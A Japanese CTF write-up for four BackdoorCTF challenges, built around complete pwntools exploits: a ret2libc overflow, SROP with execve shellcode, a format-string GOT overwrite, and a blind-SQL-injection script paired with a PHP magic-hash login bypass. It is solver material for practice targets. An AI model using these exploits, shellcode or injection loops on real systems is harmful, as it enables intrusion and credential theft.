JUST-DO-IT
libcとバイナリが配られる
fileコマンド結果
root@ubuntu:~/pwn/backdoorctf/just-do-it# file 32_chal
32_chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=44cdbea7d171ee34f7089bf99cff53b0d71ef1ba, not stripped
checksec結果
root@ubuntu:~/pwn/backdoorctf/just-do-it# checksec 32_chal
[*] '/home/no1zy/pwn/backdoorctf/just-do-it/32_chal'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
自明なBOFがあるのでやるだけ
# !/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
RHOST = "163.172.176.29"
RPORT = 9036
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_chal'
libc = ELF('libc.so.6')
elf = ELF(BINARY)
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'd':
execute = """
#set environment LD_PRELOAD=libc.so.6
b *{0}
c
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug([BINARY], execute=execute)
elif sys.argv[1] == 'a':
conn = remote(LHOST, LPORT)
f = open("cmd", "r")
time.sleep(0.5)
pid = proc.pid_by_name(BINARY)
gdb.attach(pid[0], f)
else:
#conn = process([BINARY])
conn = process([BINARY], env={'LD_PRELOAD': 'libc.so.6'})
sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
# -----------START EXPLOIT CODE-----------#
log.info('Pwning')
got_write = elf.got['write']
write = elf.plt['write']
main = elf.symbols['main']
offset_write = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search("/bin/sh"))
payload = 'a' * 112
payload += p32(write)
payload += p32(0x0804853d) # pop3
payload += p32(1)
payload += p32(got_write)
payload += p32(4)
payload += p32(main)
conn.sendlineafter('Hello pwners,', payload)
conn.recvuntil('\n')
line = conn.recvuntil('H')
libc_write = u32(line[1:5])
libc_base = libc_write - offset_write
payload = 'a' * 0x68
payload += p32(system + libc_base)
payload += 'AAAA'
payload += p32(binsh + libc_base)
conn.sendlineafter('pwners,', payload)
conn.interactive()
flag{all_th3_b35t_y0u_successfully_started_s0lving_:P}
FUNSIGNALS
SROPする問題
fileコマンド結果
root@ubuntu:~/pwn/backdoorctf/fun# file player_bin
player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
checksec結果
root@ubuntu:~/pwn/backdoorctf/fun# checksec player_bin
[*] '/home/no1zy/pwn/backdoorctf/fun/player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
readelf結果
root@ubuntu:~/pwn/backdoorctf/fun# readelf -S player_bin
5 個のセクションヘッダ、始点オフセット 0x11b0:
セクションヘッダ:
[番] 名前 タイプ アドレス オフセット
サイズ EntSize フラグ Link 情報 整列
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .shellcode PROGBITS 0000000010000000 00001000
000000000000004b 0000000000000000 WAX 0 0 1
[ 2] .shstrtab STRTAB 0000000000000000 00001188
0000000000000026 0000000000000000 0 0 1
[ 3] .symtab SYMTAB 0000000000000000 00001050
00000000000000f0 0000000000000018 4 5 8
[ 4] .strtab STRTAB 0000000000000000 00001140
0000000000000048 0000000000000000 0 0 1
フラグのキー:
W (write), A (alloc), X (実行), M (merge), S (文字列), l (large)
I (情報), L (リンク順), G (グループ), T (TLS), E (排他), x (不明)
O (追加の OS 処理が必要) o (OS 固有), p (プロセッサ固有)
.shellcodeセクションにshellcodeを置いてそこに飛ばせばいけそう。
方針
一回目にreadを呼び出しshellcodeセクションにshellcodeを置いて、ripをsigreturnが呼び出されるsyscallのもう一つ前のsyscall命令のアドレスに設定する
つぎのsigreturnでripをshellcodeセクションの先頭に設定する。
exploit
# !/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
RHOST = "163.172.176.29"
RPORT = 9034
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'player_bin'
# libc = ELF('None')
elf = ELF(BINARY)
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'a':
conn = remote(LHOST, LPORT)
f = open("cmd", "r")
time.sleep(0.5)
pid = proc.pid_by_name(BINARY)
gdb.attach(pid[0], f)
else:
conn = process([BINARY])
shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# -----------START EXPLOIT CODE-----------#
log.info('Start exploit')
bss = section_addr('.shellcode')
stack_size = 0x400
base_stage = bss + stack_size
payload1 = 'AAAAAAAA' * 5
payload1 += p64(0) * 8 # r8-r15
payload1 += p64(0) # rdi
payload1 += p64(base_stage) # rsi
payload1 += p64(0) # rbp
payload1 += p64(0) # rbx
payload1 += p64(999) # rdx
payload1 += p64(0) # rax
payload1 += p64(0) # rcx
payload1 += p64(base_stage) # rsp
payload1 += p64(0x10000002) # rip
payload1 += p64(0) # eflags
payload1 += p64(0x33) # csgsfs
payload1 += 'AAAAAAAA' * 4
payload1 += p64(0) # &fpstate
payload2 = shellcode64
payload2 += 'A' * (40 - len(shellcode64))
payload2 += p64(0) * 8 # r8-r15
payload2 += p64(0) # rdi
payload2 += p64(0) # rsi
payload2 += p64(0) # rbp
payload2 += p64(0) # rbx
payload2 += p64(0) # rdx
payload2 += p64(0) # rax
payload2 += p64(0) # rcx
payload2 += p64(base_stage) # rsp
payload2 += p64(base_stage) # rip
payload2 += p64(0) # eflags
payload2 += p64(0x33) # csgsfs
payload2 += 'AAAAAAAA' * 4
payload2 += p64(0) # &fpstate
conn.send(payload1)
time.sleep(3)
conn.send(payload2)
conn.interactive()
shellを取った後は問題バイナリの中にflagが隠されているので
strings server_bin
でflagを入手する。
flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}
SROP参考資料
http://inaz2.hatenablog.com/entry/2014/07/30/021123
BABY-0x41414141
自明なFSBがある
fileコマンド結果
root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# file 32_new
32_new: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=da5e14c668579652906e8dd34223b8b5aa3becf8, not stripped
checksec結果
root@ubuntu:~/pwn/backdoorctf/baby-0x41414141# checksec 32_new
[*] '/home/no1zy/pwn/backdoorctf/baby-0x41414141/32_new'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
flag.txtをcatする関数があるのでGOT Overwriteでexit関数をそこに書き換えるだけ
exploit
# !/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug'
RHOST = "163.172.176.29"
RPORT = 9035
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = '32_new'
# libc = ELF('None')
elf = ELF(BINARY)
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'a':
conn = remote(LHOST, LPORT)
f = open("cmd", "r")
time.sleep(0.5)
pid = proc.pid_by_name(BINARY)
gdb.attach(pid[0], f)
else:
conn = process([BINARY])
shellcode32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# -----------START EXPLOIT CODE-----------#
log.info('Start exploit')
flag = elf.symbols['_Z4flagv'] #0x804870b
exit = elf.got['exit']
fmt = {
exit : flag,
}
conn.sendlineafter('whats your name?', fmtstr_payload(10, fmt, len('Ok cool, soon we will know whether you pwned it or not. Till then Bye ')))
conn.interactive()
flag{hey_c0ngr4ts_Y0u_pwn3d_1t_y0u_4r3_n0_l0ng3r_a_b4by}
THE-WALL
blindSQLiする問題
tableの構造
CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)
passwordはmd5でhash化される
$password = md5($password);
union と | が使えない
if(preg_match('/(union|\|)/i', $username))
serverで実行されるSQL
$query = "SELECT * FROM users WHERE username='$username'";
認証部分
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}
roleがadminのuserのパスワードがわかればいい感じにいけそう
import requests
url = 'http://163.172.176.29/WALL/index.php'
password = ''
for i in range(1,33):
for char in range(48, 91):
if chr(char) == '%' or chr(char) == '_':
continue
payload = {
'life' : "' or role = 'admin' AND password like '{0}%' -- ".format(password + chr(char)),
'soul' : 'aaaa',
}
r = requests.post(url, data=payload)
if r.text.find('LordCommander') is not -1:
password += chr(char).lower()
print('Hit: {0}'.format(password))
break
print(password)
結果
0e565041023046045310587974628079
md5のハッシュ値が0eから始まっていて
if($password == $users['password'])
passwordの比較が甘いのでmagic hashの脆弱性に繋がる
https://www.whitehatsec.com/blog/magic-hashes/
usernameとpasswordに LordCommander 240610708
を入力して送信すればflagを得られる。
CTF{type_juggling_and_blind_sql_are_worth_a_fun_240610708}